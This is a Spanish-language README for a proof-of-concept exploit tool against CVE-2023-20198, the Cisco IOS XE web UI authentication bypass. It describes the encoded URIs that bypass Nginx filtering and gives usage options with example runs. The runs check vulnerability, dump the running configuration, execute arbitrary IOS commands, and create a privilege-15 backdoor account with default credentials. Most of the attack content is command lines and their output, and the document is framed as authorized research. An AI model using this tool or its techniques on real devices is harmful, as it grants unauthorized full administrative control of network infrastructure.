
Exploit PoC de CVE-2023-20198
Exploit PoC para CVE-2023-20198
CVE-2023-20198 se caracteriza por una validación de ruta incorrecta que permite eludir el filtrado de Nginx para alcanzar el endpoint web webui_wsma_http sin requerir autenticación.
Al omitir la autenticación en el endpoint, un atacante puede ejecutar comandos arbitrarios de Cisco IOS o realizar cambios de configuración con privilegios de nivel 15.
La investigación de Cisco sobre la explotación activa de la vulnerabilidad previamente no divulgada reveló que los actores de amenazas explotaron primero CVE-2023-20198 para añadir un nuevo usuario con nivel de privilegio 15. Otros ataques implicaron la explotación de CVE-2023-20273 para escalar hasta el usuario root del sistema operativo Linux subyacente y facilitar la implantación.
Este PoC explota CVE-2023-20198 para utilizar dos endpoints XML SOAP diferentes:
Las opciones de comprobación de vulnerabilidad, configuración y ejecución de comandos apuntan todas al endpoint SOAP cisco:wsma-exec para insertar comandos en la etiqueta de elemento execCLI.
La opción de añadir usuario apunta al endpoint SOAP cisco:wsma-config para realizar un cambio de configuración y añadir la cuenta de Privilegio 15. Este endpoint podría [mal]utilizarse para hacer otros cambios de configuración, pero eso está fuera del alcance de este PoC.
El abuso del endpoint SOAP cisco:wsma-exec proviene de la plantilla de nuclei
El abuso del endpoint SOAP cisco:wsma-config proviene del PoC de horizon3ai
Nota: No llevé a cabo ninguna de las investigaciones originales ni el desarrollo del PoC para este CVE. Consulta la sección de referencias para los créditos.
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-uri vulnerableURI The URI that is vulnerable to exploit. The most common are "%2577eb%2575i_%2577sma_Http", "%2577eb%2575i_%2577sma_https", and "%2577ebui_wsma_https". You may need to play around with these along with -https to get a true positive result
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: shellsmoke
-p newUserPass [Optional] new user pass for -a. Default: pwned
-o outputFile Write output to file
-v Increase verbosity
Para comprobar CVE-2023-20198, -c intentará explotar la vulnerabilidad para ejecutar uname -a
Ejemplo:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
La opción -g ejecuta sh run para obtener la configuración en ejecución
Ejemplo:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
Se pueden ejecutar comandos arbitrarios de Cisco IOS con la opción -e.
Se debe tener extrema precaución al usar esto para realizar cambios de configuración. No hay validación de entrada y los cambios se aplican inmediatamente a la configuración en ejecución.
Ejemplo:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
La opción -a se puede utilizar para crear una nueva cuenta de usuario con Privilegio 15, especificando opcionalmente el nombre de cuenta y la contraseña con -u y -p respectivamente.
Ejemplo:
# ./exploit.py -t 10.0.0.1 -a -u shellsmoke -p pwned
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: shellsmoke
New User Pass: pwned
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
La opción -d se puede utilizar para eliminar una cuenta de usuario del dispositivo, y respeta el nombre de usuario especificado con -u.
Se debe tener precaución para asegurarse de no eliminar una cuenta legítima.
Esto se añadió para casos en los que no se puede obtener acceso shell/webui a un Cisco explotado. Se observó que añadir un usuario con Privilegio 15 no concede acceso a la interfaz web y podría dejar artefactos de explotación en los hosts.
Cisco Advisory
horizon3ai CVE-2023-20198 research
horizon3ai CVE-2023-20198 PoC
nuclei CVE-2023-20198 template (Authors: iamnoooob, rootxharsh, pdresearch)
LeakIX CVE-2023-20273 PoC
El código contenido en este proyecto está destinado únicamente a la investigación y al uso en sistemas donde el usuario tiene autorización explícita.
El autor de este proyecto no es responsable del mal uso del software.
Úsalo de manera responsable y no seas malvado.